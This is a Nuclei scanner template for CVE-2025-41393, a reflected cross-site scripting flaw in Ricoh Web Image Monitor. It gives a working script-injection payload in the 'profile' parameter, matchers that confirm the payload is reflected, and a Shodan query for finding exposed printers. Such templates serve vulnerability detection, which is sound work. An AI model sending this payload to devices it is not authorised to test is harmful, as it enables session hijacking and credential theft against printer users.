id: CVE-2025-41393

info:
  name: Ricoh Web Image Monitor - Reflected XSS
  author: jpg0mez
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.
  impact: |
    Attackers can execute malicious JavaScript in user browsers through the profile parameter, potentially leading to session hijacking and credential theft.
  remediation: |
    Apply the security patch from Ricoh for affected Web Image Monitor implementations.
  reference:
    - https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2025-000001
    - https://jvn.jp/en/jp/JVN20474768/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41393
  classification:
    epss-score: 0.00678
    epss-percentile: 0.48767
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Web Image Monitor"
  tags: cve,cve2025,ricoh,xss,web,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?profile=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'websys/webArch/mainFrame.cgi'
          - 'Web Image Monitor'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a75b03011316047d39837dfe71f6e71fd39e553b6516390ab959cb809c1e8d39022100ddef347d4ce84ab9d0d0aef4f4b12fb2db277f8804fc55fc64fd03193516200b:922c64590222798bb761d5b6d8e72950